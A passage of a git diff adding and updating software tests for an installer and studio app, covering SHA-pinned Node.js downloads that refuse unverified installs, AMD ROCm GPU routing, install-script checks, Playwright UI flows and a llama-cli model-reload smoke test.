+    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # latest = 26.3.1 (unpinned)
+    monkeypatch.setenv(M.ALLOW_UNVERIFIED_ENV, "1")
+    shasums_fetched = {"n": 0}
+
+    def fake_shasums(url, **k):
+        shasums_fetched["n"] += 1
+        return f"{'d' * 64}  {asset}\n".encode()
+
+    class _ReachedDownload(Exception):
+        pass
+
+    def reached(*a, **k):
+        raise _ReachedDownload
+
+    monkeypatch.setattr(M, "download_bytes", fake_shasums)
+    monkeypatch.setattr(M, "download_file_verified", reached)
+    with pytest.raises(_ReachedDownload):
+        M.install_prebuilt(install_dir, channel = "latest", min_major = 24, force = False)
+    assert shasums_fetched["n"] == 1  # the opt-in path fetched the remote SHASUMS
+
+
+def test_pins_manifest_ships_next_to_installer():
+    # The committed manifest must sit beside the installer so __file__ resolution finds it.
+    assert M.pins_path() == MODULE_PATH.parent / M.PINS_FILENAME
+    assert M.pins_path().is_file()
+
+
+def test_pins_manifest_is_declared_in_package_data():
+    # An unpackaged trust anchor is no trust anchor: a pip install must ship it.
+    # tomllib is stdlib only on 3.11+; fall back to tomli, else skip on 3.9/3.10.
+    tomllib = pytest.importorskip("tomllib" if sys.version_info >= (3, 11) else "tomli")
+
+    data = tomllib.loads((PACKAGE_ROOT / "pyproject.toml").read_text(encoding = "utf-8"))
+    studio_globs = data["tool"]["setuptools"]["package-data"]["studio"]
+    assert M.PINS_FILENAME in studio_globs
+
+
+def test_existing_install_matches_enforces_expected_sha(tmp_path: Path, monkeypatch):
+    # The short-circuit must not keep a version-matching install whose recorded digest
+    # is not the pin (old remote-SHASUMS install or a tampered artifact).
+    host = _host("linux", "x64")
+    M.write_metadata(tmp_path, version = "24.17.0", asset = "x", sha256 = "aa")
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.17.0")
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
+    assert M.existing_install_matches(tmp_path, host, version = "24.17.0") is True  # back-compat
+    assert M.existing_install_matches(tmp_path, host, version = "24.17.0", expected_sha = "aa") is True
+    assert M.existing_install_matches(tmp_path, host, version = "24.17.0", expected_sha = "bb") is False
+
+
+def test_install_prebuilt_refuses_existing_unpinned_install(tmp_path: Path, monkeypatch):
+    # Codex P2: an unpinned version already on disk must still fail closed without the
+    # opt-in, not be kept by the version-only short-circuit.
+    install_dir = tmp_path / "node"
+    install_dir.mkdir()
+    M.write_metadata(install_dir, version = "26.3.1", asset = "a", sha256 = "s")
+    monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: "26.3.1")
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
+    monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)
+
+    def boom(*a, **k):
+        raise AssertionError("must not keep or download an unpinned install")
+
+    monkeypatch.setattr(M, "download_file", boom)
+    with pytest.raises(M.UnpinnedNodeRefused):
+        M.install_prebuilt(install_dir, channel = "26.3.1", min_major = 24, force = False)
+
+
+def test_pinned_target_wrong_sha_not_kept_when_download_fails(tmp_path: Path, monkeypatch):
+    # Symmetry with the short-circuit guard: the transient-failure fallback must not
+    # keep a same-version install whose recorded digest is not the pin. (A different
+    # usable version is still kept for offline resilience -- covered above.)
+    host = _host("linux", "x64")
+    version = M.pinned_default_version(M.load_pins())
+    asset = M.node_asset_name(version, host)
+    install_dir = tmp_path / "node"
+    install_dir.mkdir()
+    M.write_metadata(install_dir, version = version, asset = asset, sha256 = "0" * 64)  # not the pin
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+    monkeypatch.setattr(M, "installed_node_version", lambda d, h: version)
+    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
+    monkeypatch.setattr(M, "download_file_verified", _offline)  # transient download failure
+    with pytest.raises(OSError):
+        M.install_prebuilt(install_dir, channel = "pinned", min_major = 24, force = False)
diff --git a/tests/studio/install/test_pr4562_bugfixes.py b/tests/studio/install/test_pr4562_bugfixes.py
index b19c300fec..a8cec0cb85 100644
--- a/tests/studio/install/test_pr4562_bugfixes.py
+++ b/tests/studio/install/test_pr4562_bugfixes.py
@@ -728,13 +728,16 @@ class TestSourceCodePatterns:
         assert all(
             "-allow-unsupported-compiler" not in line for line in cmake_args_lines
         ), "flag must not be pushed into the $CmakeArgs array"
-        # Must be scoped to the CUDA branch, not set for CPU-only builds.
+        # Must be scoped to the CUDA-on branch, not set for CPU-only builds. The
+        # branch also has an early GGML_CUDA=OFF (undetectable-arch CPU fallback,
+        # #5854), so anchor on GGML_CUDA=ON and the final (no-GPU) GGML_CUDA=OFF.
         flag_idx = content.index("-allow-unsupported-compiler")
         cuda_guard_idx = content.index("if ($HasNvidiaSmi -and $NvccPath)")
-        cuda_disable_idx = content.index("'-DGGML_CUDA=OFF'")
-        assert cuda_guard_idx < flag_idx < cuda_disable_idx, (
-            "NVCC_PREPEND_FLAGS must be set inside the CUDA-on branch, "
-            "before the GGML_CUDA=OFF (CPU) branch"
+        cuda_on_idx = content.index("'-DGGML_CUDA=ON'")
+        cpu_else_idx = content.rindex("'-DGGML_CUDA=OFF'")
+        assert cuda_guard_idx < cuda_on_idx < flag_idx < cpu_else_idx, (
+            "NVCC_PREPEND_FLAGS must be set inside the CUDA-on branch, after "
+            "-DGGML_CUDA=ON and before the final CPU GGML_CUDA=OFF branch"
         )
 
     def test_macos_arm64_cpu_fallback_args_exclude_rpath(self):
diff --git a/tests/studio/install/test_rocm_rdna_routing.py b/tests/studio/install/test_rocm_rdna_routing.py
new file mode 100644
index 0000000000..b4aeafb7e4
--- /dev/null
+++ b/tests/studio/install/test_rocm_rdna_routing.py
@@ -0,0 +1,84 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""RDNA 2/3/4 routing, validated on CPU-only CI with no AMD hardware.
+
+tests/_zoo_rocm_spoof.py presents torch as each Radeon gfx arch, then we assert
+unsloth_zoo routes it: device_type -> "hip", llama.cpp target -> ("rocm", gfx),
+and the per-family ROCm bundle suffix. The torch-facing checks run in a
+subprocess so the spoof never leaks into sibling tests and DEVICE_TYPE (cached
+at import) resolves from a clean process.
+"""
+
+from __future__ import annotations
+
+import json
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+pytest.importorskip("torch")
+pytest.importorskip("unsloth_zoo")
+
+_TESTS_DIR = Path(__file__).resolve().parents[2]  # tests/
+
+# gfx -> (expected llama.cpp target, expected ROCm bundle family).
+_ARCHES = {
+    "gfx1030": (("rocm", "gfx1030"), "gfx103X"),  # RDNA2
+    "gfx1031": (("rocm", "gfx1031"), "gfx103X"),
+    "gfx1032": (("rocm", "gfx1032"), "gfx103X"),
+    "gfx1034": (("rocm", "gfx1034"), "gfx103X"),
+    "gfx1100": (("rocm", "gfx1100"), "gfx110X"),  # RDNA3
+    "gfx1101": (("rocm", "gfx1101"), "gfx110X"),
+    "gfx1102": (("rocm", "gfx1102"), "gfx110X"),
+    "gfx1150": (("rocm", "gfx1150"), "gfx1150"),  # RDNA3.5 APU (self-family)
+    "gfx1151": (("rocm", "gfx1151"), "gfx1151"),
+    "gfx1200": (("rocm", "gfx1200"), "gfx120X"),  # RDNA4
+    "gfx1201": (("rocm", "gfx1201"), "gfx120X"),
+}
+
+# Child: spoof each arch, then record device_type once (fresh import) and the
+# live llama.cpp target per arch. Emits one JSON line the parent parses.
+_CHILD = """
+import json, sys
+sys.path.insert(0, {tests!r})
+import _zoo_rocm_spoof as spoof
+arches = {arches!r}
+spoof.apply(arches[0])
+from unsloth_zoo.device_type import get_device_type, is_hip
+device_type = [get_device_type(), is_hip()]
+from unsloth_zoo import llama_cpp as lc
+targets = {{}}
+for gfx in arches:
+    spoof.apply(gfx)
+    targets[gfx] = list(lc._detect_gpu_target())
+print("RESULT " + json.dumps({{"device_type": device_type, "targets": targets}}))
+"""
+
+
+@pytest.fixture(scope = "module")
+def routed():
+    code = _CHILD.format(tests = str(_TESTS_DIR), arches = list(_ARCHES))
+    proc = subprocess.run([sys.executable, "-c", code], capture_output = True, text = True)
+    line = next((l for l in proc.stdout.splitlines() if l.startswith("RESULT ")), None)
+    assert line, f"child produced no result.\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}"
+    return json.loads(line[len("RESULT ") :])
+
+
+@pytest.mark.parametrize("gfx", list(_ARCHES))
+def test_detect_gpu_target(routed, gfx):
+    # RDNA card is routed to its ROCm gfx target (drives the llama.cpp bundle).
+    assert tuple(routed["targets"][gfx]) == _ARCHES[gfx][0]
+
+
+def test_device_type_is_hip(routed):
+    # An RDNA card must resolve the compute device_type to "hip".
+    assert routed["device_type"] == ["hip", True]
+
+
+@pytest.mark.parametrize("gfx", list(_ARCHES))
+def test_rocm_gfx_family(gfx):
+    # Pure mapping (no torch): each gfx picks the right per-family ROCm bundle.
+    from unsloth_zoo import llama_cpp as lc
+    assert lc._rocm_gfx_family(gfx) == _ARCHES[gfx][1]
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index 6915269cec..bfc8132683 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -1221,6 +1221,8 @@ _WORKER_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "training" / "work
 _EXPORT_WORKER_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "export" / "worker.py"
 # Shared torchao Windows-ROCm stub used by both workers.
 _TORCHAO_STUB_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "_torchao_stub.py"
+# RAG embedder -- runs in the main backend process and also needs the stub.
+_EMBEDDINGS_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "rag" / "embeddings.py"
 # Wheel-probe script literal lives in wheel_utils after the resolver refactor.
 _WHEEL_UTILS_PATH = PACKAGE_ROOT / "studio" / "backend" / "utils" / "wheel_utils.py"
 
@@ -1471,12 +1473,14 @@ class TestHardwareAmdBranching:
         assert "from . import amd" in source
 
     def test_hardware_branches_on_is_rocm_for_utilization(self):
-        """get_gpu_utilization dispatches to amd.py via _smi_query when IS_ROCM."""
+        """get_gpu_utilization dispatches visible metrics through amd.py on ROCm."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def get_gpu_utilization")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
-        assert '_smi_query("get_primary_gpu_utilization"' in func_body
+        assert "_smi_query(" in func_body
+        assert '"get_visible_gpu_utilization"' in func_body
+        assert "_reconcile_rocm_unified_memory" in func_body
         smi = source[
             source.find("def _smi_query") : source.find("\ndef ", source.find("def _smi_query") + 1)
         ]
@@ -2292,6 +2296,70 @@ class TestRocmTorchInstalledEnvVar:
         mock_bnb.assert_not_called()
 
 
+class TestWindowsRocmTorchaoGuard:
+    """Verify the torchao skip can detect an installed Windows ROCm torch build."""
+
+    def test_installed_torch_is_windows_rocm_accepts_rocm_probe(self):
+        rv = MagicMock()
+        rv.returncode = 0
+        rv.stdout = "yes"
+        with (
+            patch.object(stack_mod, "IS_WINDOWS", True),
+            patch.object(stack_mod.subprocess, "run", return_value = rv),
+        ):
+            assert stack_mod._installed_torch_is_windows_rocm() is True
+
+    def test_installed_torch_is_windows_rocm_rejects_non_rocm_probe(self):
+        rv = MagicMock()
+        rv.returncode = 0
+        rv.stdout = ""
+        with (
+            patch.object(stack_mod, "IS_WINDOWS", True),
+            patch.object(stack_mod.subprocess, "run", return_value = rv),
+        ):
+            assert stack_mod._installed_torch_is_windows_rocm() is False
+
+    def test_installed_torch_is_windows_rocm_is_non_windows_noop(self):
+        with patch.object(stack_mod, "IS_WINDOWS", False):
+            assert stack_mod._installed_torch_is_windows_rocm() is False
+
+    @patch.object(stack_mod, "_repair_bad_anyio")
+    @patch.object(stack_mod, "_ensure_rocm_torch")
+    @patch.object(stack_mod, "_ensure_cuda_torch")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = True)
+    @patch.object(stack_mod, "run")
+    @patch.object(stack_mod, "pip_install")
+    def test_install_python_stack_skips_torchao_when_windows_rocm_torch_is_installed(
+        self, mock_pip, mock_run, mock_has_nvidia, mock_cuda, mock_rocm, mock_anyio, tmp_path
+    ):
+        unstructured_plugin = tmp_path / "unstructured"
+        github_plugin = tmp_path / "github"
+        unstructured_plugin.mkdir()
+        github_plugin.mkdir()
+
+        subprocess_result = MagicMock()
+        subprocess_result.returncode = 0
+        subprocess_result.stdout = ""
+
+        with (
+            patch.dict(os.environ, {"SKIP_STUDIO_BASE": "1"}),
+            patch.object(stack_mod, "IS_WINDOWS", True),
+            patch.object(stack_mod, "IS_MACOS", False),
+            patch.object(stack_mod, "IS_MAC_ARM", False),
+            patch.object(stack_mod, "NO_TORCH", False),
+            patch.object(stack_mod, "_rocm_windows_torch_installed", False),
+            patch.object(stack_mod, "_bootstrap_uv", return_value = False),
+            patch.object(stack_mod, "_installed_torch_is_windows_rocm", return_value = True),
+            patch.object(stack_mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin),
+            patch.object(stack_mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin),
+            patch.object(stack_mod.subprocess, "run", return_value = subprocess_result),
+        ):
+            assert stack_mod.install_python_stack() == 0
+
+        installed_specs = [str(arg) for call in mock_pip.call_args_list for arg in call.args]
+        assert not any("torchao" in arg for arg in installed_specs)
+
+
 # TEST: worker.py -- Windows ROCm patches (source-level checks)
 
 
@@ -2329,6 +2397,13 @@ class TestWorkerWindowsRocmPatches:
         source = _EXPORT_WORKER_PATH.read_text(encoding = "utf-8")
         assert "install_torchao_windows_rocm_stub()" in source
 
+    def test_embedder_calls_shared_torchao_stub(self):
+        """embeddings.py must install the stub before importing sentence-transformers:
+        it runs in the main process (not a stubbed worker), so otherwise transformers
+        -> torchao crashes on Windows ROCm and the embedder drops to llama-server."""
+        source = _EMBEDDINGS_PATH.read_text(encoding = "utf-8")
+        assert "install_torchao_windows_rocm_stub()" in source
+
     def test_torchao_stub_uses_stub_type_meta(self):
         """Torchao stub must use _StubTypeMeta so isinstance() returns False not TypeError."""
         source = _TORCHAO_STUB_PATH.read_text(encoding = "utf-8")
@@ -3351,8 +3426,9 @@ class TestInstallShDropinPersistence:
     def test_gate5_early_return_persists_dropin(self):
         """The rocminfo-already-works early return must call the persist helper before returning."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
-        # The persist call must precede `return 0` at the rocminfo gfx1151 gate.
-        gate = source.find("Name:[[:space:]]*gfx1151")
+        # The persist call must precede `return 0` at the rocminfo GPU-agent gate
+        # (uniquely identified by the `!/generic/` clause the other probes lack).
+        gate = source.find("Name:[[:space:]]*gfx[1-9]/ && !/generic/")
         assert gate != -1
         window = source[gate : gate + 900]
         assert "_persist_rocm_wsl_dropin" in window
@@ -3366,6 +3442,49 @@ class TestInstallShDropinPersistence:
         assert "profile.d/unsloth-rocm-wsl.sh" in body
 
 
+_STRIXHALO_WSL_PATH = PACKAGE_ROOT / "scripts" / "install_rocm_wsl_strixhalo.sh"
+
+
+class TestWslRerouteNvidiaGuard:
+    """_maybe_reroute_strixhalo_to_2404 must skip the AMD reroute on hybrid AMD+NVIDIA hosts by
+    reusing _has_usable_nvidia_gpu (CUDA_VISIBLE_DEVICES-aware + /proc/driver/nvidia fallback),
+    which must be defined before the reroute's call site so it is actually available."""
+
+    def test_reroute_calls_nvidia_helper_before_amd_signal(self):
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        start = source.find("_maybe_reroute_strixhalo_to_2404()")
+        assert start != -1
+        body = source[start : start + 1200]
+        nv = body.find("_has_usable_nvidia_gpu")
+        wmi = body.find("_wsl_amd_gpu_name")
+        assert nv != -1, "reroute must consult _has_usable_nvidia_gpu before deciding to reroute"
+        assert wmi != -1
+        # The NVIDIA guard must precede the AMD/WMI signal and return early.
+        assert nv < wmi
+        assert body.find("return 0", nv) < wmi
+
+    def test_nvidia_helper_and_deps_defined_before_reroute_callsite(self):
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        call = source.find("\n_maybe_reroute_strixhalo_to_2404 || true")
+        assert call != -1
+        for fn in ("_run_bounded() {", "_cvd_hides_nvidia() {", "_has_usable_nvidia_gpu() {"):
+            idx = source.find(fn)
+            assert idx != -1 and idx < call, f"{fn} must be defined before the reroute call"
+
+
+class TestStrixhaloGfxOverridePipefail:
+    """The UNSLOTH_WSL_GFX override check must use a consuming grep, not grep -q: under
+    `set -o pipefail` an early -q exit SIGPIPEs printf and misreports the arch on large output."""
+
+    def test_gfx_override_uses_consuming_grep(self):
+        source = _STRIXHALO_WSL_PATH.read_text(encoding = "utf-8")
+        idx = source.find('grep -E "Name:[[:space:]]*${GFX}')
+        assert idx != -1, "GFX override must use a consuming grep -E (not grep -q)"
+        line = source[idx : source.find("\n", idx)]
+        assert ">/dev/null" in line
+        assert 'grep -qE "Name:[[:space:]]*${GFX}' not in source
+
+
 class TestLlamaCppRuntimeWslOrdering:
     """The serve-time launcher mirrors binary_env: system HIP before the bundle dir on WSL."""
 
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index f65c7a895c..464aa9a578 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -82,6 +82,7 @@ def load_studio_run_module(monkeypatch):
     startup_banner = types.ModuleType("startup_banner")
     startup_banner.print_studio_access_banner = lambda **k: None
     startup_banner.print_studio_stop_hint = lambda: None
+    startup_banner.stdout_supports_color = lambda: False
     monkeypatch.setitem(sys.modules, "startup_banner", startup_banner)
 
     paths = types.ModuleType("utils.paths")
diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index f9147054ee..a53534acc0 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -494,12 +494,15 @@ with sync_playwright() as p:
             # typeahead actually filters (else an ignored-input regression
             # would silently pass).
             def picker_visible_text():
-                return page.evaluate("""() => {
+                return robust_evaluate(
+                    page,
+                    """() => {
                     const el = document.querySelector(
                         '[role="dialog"], [role="listbox"], [role="menu"]'
                     );
                     return el ? (el.innerText || '').trim() : '';
-                }""")
+                }""",
+                )
 
             search.fill("qwen")
             page.wait_for_timeout(800)
@@ -535,9 +538,12 @@ with sync_playwright() as p:
 
     def _bubble_count():
         """Total [data-role='assistant'] elements (empty or not)."""
-        return page.evaluate("""() => {
+        return robust_evaluate(
+            page,
+            """() => {
             return document.querySelectorAll('[data-role="assistant"]').length;
-        }""")
+        }""",
+        )
 
     def send_and_wait(prompt, idx):
         # 1. Wait until the previous turn fully stopped: Send attached
@@ -626,8 +632,11 @@ with sync_playwright() as p:
         send_and_wait(p_, i)
     shoot("04-after-five-turns")
 
-    texts = page.evaluate("""() => Array.from(document.querySelectorAll('[data-role="assistant"]'))
-        .map(e => (e.innerText || '').trim())""")
+    texts = robust_evaluate(
+        page,
+        """() => Array.from(document.querySelectorAll('[data-role="assistant"]'))
+        .map(e => (e.innerText || '').trim())""",
+    )
     if len(texts) < len(prompts):
         fail(f"expected >= {len(prompts)} assistant bubbles, got {len(texts)}")
     info(f"five turn lengths = {[len(t) for t in texts[:5]]}")
@@ -840,7 +849,9 @@ with sync_playwright() as p:
             # Settle. The ".dark" class on <html> is the ground truth
             # (theme-store toggles only that); don't gate on ".light".
             page.wait_for_timeout(700)
-            bg = page.evaluate("""() => {
+            bg = robust_evaluate(
+                page,
+                """() => {
                 const root = document.documentElement;
                 return {
                     cls:    root.className,
@@ -848,7 +859,8 @@ with sync_playwright() as p:
                     bg:     getComputedStyle(document.body).backgroundColor,
                     rbg:    getComputedStyle(root).backgroundColor,
                 };
-            }""")
+            }""",
+            )
             observed.append(bg)
             shoot(f"10-theme-cycle-{cycle + 1}")
             info(f"  cycle {cycle + 1}: dark={bg['isDark']} body bg={bg['bg']!r}")
@@ -1050,7 +1062,8 @@ with sync_playwright() as p:
             shoot("15d-recent-clicked")
             info(f"OK clicked recent entry: {t[:60]!r}")
             # The landed thread must include at least one of our prompts.
-            turns_text = page.evaluate(
+            turns_text = robust_evaluate(
+                page,
                 """() => {
                 const els = document.querySelectorAll(
                     '[data-role="user"], [data-role="assistant"]'
@@ -1058,7 +1071,6 @@ with sync_playwright() as p:
                 return Array.from(els).map(e => (e.innerText || '')
                     .toLowerCase()).join(' ');
             }""",
-                None,
             )
             clicked_recent = True
             if any(k in turns_text for k in PROMPT_KEYWORDS):
@@ -1213,15 +1225,17 @@ with sync_playwright() as p:
     # ─────────────────────────────────────────────────────
     step("Shutdown via account menu")
     # Re-login with NEW2 for a valid /api/shutdown token (CLI rotation
-    # invalidated the old one). The stale token can make the SPA auth
-    # guard abort this goto with ERR_ABORTED; resolve on
-    # domcontentloaded and tolerate it -- the pw-field wait confirms /login.
+    # invalidated the old one). The stale token can make the SPA auth guard
+    # abort this goto with ERR_ABORTED, or redirect to the same /login URL
+    # ("interrupted by another navigation"); resolve on domcontentloaded and
+    # tolerate either -- the pw-field wait below confirms we are on /login.
+    _tolerated_nav = ("ERR_ABORTED", "interrupted by another navigation")
     try:
         page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
     except Exception as exc:
-        if "ERR_ABORTED" not in str(exc):
+        if not any(t in str(exc) for t in _tolerated_nav):
             raise
-        info(f"goto /login aborted ({exc!r}); password-field wait will confirm /login")
+        info(f"goto /login interrupted ({exc!r}); password-field wait will confirm /login")
     pw_field = page.locator("#password")
     pw_field.wait_for(state = "visible", timeout = 60_000)
     pw_field.fill(NEW2)
diff --git a/tests/studio/playwright_extra_ui.py b/tests/studio/playwright_extra_ui.py
index 304de7a9af..209a8a06f1 100644
--- a/tests/studio/playwright_extra_ui.py
+++ b/tests/studio/playwright_extra_ui.py
@@ -256,7 +256,7 @@ with sync_playwright() as p:
     composer = page.locator('textarea[aria-label="Message input"]')
     composer.wait_for(state = "visible", timeout = 60_000)
 
-    # Detect chat-only mode (/api/health.chat_only): in chat-only mode /studio + /export redirect to /chat.
+    # Detect chat-only mode (/api/health.chat_only): /studio redirects to /chat while /export stays reachable and self-gated.
     health_resp = evaluate_fetch(
         page,
         f"{BASE}/api/health",
@@ -404,15 +404,19 @@ with sync_playwright() as p:
     # ─────────────────────────────────────────────────────
     # 3. Export route.
     # ─────────────────────────────────────────────────────
-    step(f"Export route ({'chat-only redirect' if chat_only else 'form fields'})")
+    step(f"Export route ({'chat-only self-gated' if chat_only else 'form fields'})")
     page.goto(f"{BASE}/export")
     page.wait_for_timeout(1500)
     shoot("07-export")
     if chat_only:
-        if "/export" in page.url:
-            soft_fail(f"chat-only mode should redirect /export -> /chat; url={page.url}")
+        if "/export" not in page.url:
+            soft_fail(f"chat-only mode should keep /export reachable; url={page.url}")
         else:
-            info(f"OK chat-only redirected /export -> {page.url}")
+            unavailable = page.get_by_text(re.compile(r"Export unavailable", re.I)).first
+            if unavailable.count() == 0:
+                soft_fail("chat-only /export did not show the export unavailable gate")
+            else:
+                info("OK chat-only /export rendered the unavailable gate")
     else:
         # Non-chat-only: verify the export-cta button + HF token field.
         cta = page.locator('[data-tour="export-cta"]').first
diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.py
index ea8b8621a9..275fe7ac57 100644
--- a/tests/studio/run_real_mlx_smoke.py
+++ b/tests/studio/run_real_mlx_smoke.py
@@ -403,10 +403,14 @@ def cmd_train(args) -> int:
     metrics["gguf_dir"] = str(gguf_dir)
     with Phase("save_gguf", metrics):
         try:
+            # q8_0 (the exporter default), not bf16: llama.cpp has optimized q8_0
+            # CPU kernels, whereas bf16 CPU decode is unusably slow on the runner
+            # and made the fresh-process llama-cli reload below time out. q8_0 is
+            # also what users deploy by default.
             model.save_pretrained_gguf(
                 str(gguf_dir),
                 tokenizer = tokenizer,
-                quantization_method = "not_quantized",
+                quantization_method = "fast_quantized",
             )
             gguf_files = sorted(gguf_dir.glob("*.gguf"))
             if not gguf_files:
@@ -515,41 +519,106 @@ def cmd_reload(args) -> int:
     return 0
 
 
+def _find_llama_cli() -> Path | None:
+    """Locate the llama-cli binary save_pretrained_gguf built.
+
+    save_pretrained_gguf installs llama.cpp under unsloth_zoo's LLAMA_CPP_DEFAULT_DIR
+    ($UNSLOTH_LLAMA_CPP_PATH or ~/.unsloth/llama.cpp), not the working directory, so
+    search there first and keep the CWD-relative layout as a fallback.
+    """
+    bases: list[Path] = []
+    env_dir = os.environ.get("UNSLOTH_LLAMA_CPP_PATH")
+    if env_dir:
+        bases.append(Path(env_dir))
+    try:
+        from unsloth_zoo.llama_cpp import LLAMA_CPP_DEFAULT_DIR
+        bases.append(Path(LLAMA_CPP_DEFAULT_DIR))
+    except Exception:
+        bases.append(Path.home() / ".unsloth" / "llama.cpp")
+    bases.append(Path("llama.cpp"))
+
+    seen: set[Path] = set()
+    for base in bases:
+        if base in seen:
+            continue
+        seen.add(base)
+        for rel in ("llama-cli", "build/bin/llama-cli"):
+            cand = base / rel
+            if cand.is_file() and os.access(cand, os.X_OK):
+                # Absolute: a separator-less relative path would send subprocess
+                # to a PATH lookup instead of running the file.
+                return cand.resolve()
+        # Last resort: the binary may sit under an unexpected build subdir.
+        if base.is_dir():
+            for cand in sorted(base.glob("**/llama-cli")):
+                if cand.is_file() and os.access(cand, os.X_OK):
+                    return cand.resolve()
+    return None
+
+
 def _reload_gguf(save_dir: Path, metrics: dict) -> int:
-    candidates = [
-        Path("llama.cpp/llama-cli"),
-        Path("llama.cpp/build/bin/llama-cli"),
-    ]
-    llama_cli = next((c for c in candidates if c.exists()), None)
+    llama_cli = _find_llama_cli()
     if llama_cli is None:
-        raise SystemExit(f"llama-cli not found; checked {candidates}")
+        raise SystemExit(
+            "llama-cli not found under $UNSLOTH_LLAMA_CPP_PATH, "
+            "~/.unsloth/llama.cpp, or ./llama.cpp"
+        )
 
     gguf_files = sorted(save_dir.glob("*.gguf"))
     if not gguf_files:
         raise SystemExit(f"no .gguf files in {save_dir}")
     gguf_path = gguf_files[0]
 
+    # Save/reload-integrity smoke (assert below only needs a few chars). The GGUF is
+    # exported q8_0 (see save_gguf) because llama.cpp bf16 CPU decode is unusably slow
+    # on the runner. Run CPU-only (-ngl 0), cap the context (-c 256, the model
+    # advertises 32768), and keep generation short; all env-tunable.
+    n_predict = os.environ.get("UNSLOTH_GGUF_RELOAD_N", "8")
+    n_threads = os.environ.get("UNSLOTH_GGUF_RELOAD_THREADS", str(os.cpu_count() or 4))
+    n_ctx = os.environ.get("UNSLOTH_GGUF_RELOAD_CTX", "256")
+    n_gpu_layers = os.environ.get("UNSLOTH_GGUF_RELOAD_NGL", "0")
+    reload_timeout = int(os.environ.get("UNSLOTH_GGUF_RELOAD_TIMEOUT", "420"))
+    argv = [
+        str(llama_cli),
+        "-m",
+        str(gguf_path),
+        "-p",
+        PROMPT,
+        "-n",
+        n_predict,
+        "-t",
+        n_threads,
+        "-c",
+        n_ctx,
+        "-ngl",
+        n_gpu_layers,
+        "--temp",
+        "0",
+        "--seed",
+        str(SEED),
+        "--no-warmup",
+    ]
     with Phase("reload_gguf", metrics):
-        proc = subprocess.run(
-            [
-                str(llama_cli),
-                "-m",
-                str(gguf_path),
-                "-p",
-                PROMPT,
-                "-n",
-                "24",
-                "--temp",
-                "0",
-                "--seed",
-                str(SEED),
-                "-no-cnv",
-                "--no-warmup",
-            ],
-            capture_output = True,
-            text = True,
-            timeout = 300,
-        )
+        try:
+            proc = subprocess.run(
+                argv,
+                capture_output = True,
+                text = True,
+                timeout = reload_timeout,
+                # Newer llama.cpp keeps llama-cli in chat mode; exit after one reply.
+                input = "/exit\n",
+            )
+        except subprocess.TimeoutExpired as exc:
+
+            def _decode(stream) -> str:
+                if isinstance(stream, bytes):
+                    return stream.decode("utf-8", errors = "replace")
+                return stream or ""
+
+            print(f"  [reload:gguf] TIMEOUT running: {' '.join(argv)}", flush = True)
+            print(f"  [reload:gguf] TIMEOUT stdout:\n{_decode(exc.stdout)[:1000]}", flush = True)
+            print(f"  [reload:gguf] TIMEOUT stderr:\n{_decode(exc.stderr)[:1000]}", flush = True)
+            raise
 
     metrics["llama_cli_returncode"] = proc.returncode
     metrics["generation"] = (proc.stdout or "")[:1500]
diff --git a/tests/studio/test_chat_prompt_variables.py b/tests/studio/test_chat_prompt_variables.py
new file mode 100644
index 0000000000..dcf318b5fa
--- /dev/null
+++ b/tests/studio/test_chat_prompt_variables.py
@@ -0,0 +1,42 @@
+"""Regression checks for system prompt variable substitution."""
+
+from __future__ import annotations
+
+from pathlib import Path
+
+
+WORKSPACE = Path(__file__).resolve().parents[2]
+ADAPTER_SRC = (WORKSPACE / "studio/frontend/src/features/chat/api/chat-adapter.ts").read_text()
+
+
+def _function_source(name: str) -> str:
+    start = ADAPTER_SRC.index(f"function {name}")
+    body_start = ADAPTER_SRC.index("{", start)
+    depth = 0
+    for index in range(body_start, len(ADAPTER_SRC)):
+        if ADAPTER_SRC[index] == "{":
+            depth += 1
+        elif ADAPTER_SRC[index] == "}":
+            depth -= 1
+            if depth == 0:
+                return ADAPTER_SRC[start : index + 1]
+    raise AssertionError(f"Could not parse function body for {name}")
+
+
+def test_prompt_variable_builtins_use_local_time_helpers():
+    resolver = _function_source("resolveSystemPromptVariables")
+    assert "formatLocalDate(now)" in resolver
+    assert "formatLocalTime(now)" in resolver
+    assert "formatTimezoneOffset(now)" in resolver
+    assert "toISOString()" not in resolver
+
+
+def test_prompt_variable_builtins_use_own_property_lookup():
+    resolver = _function_source("resolveSystemPromptVariables")
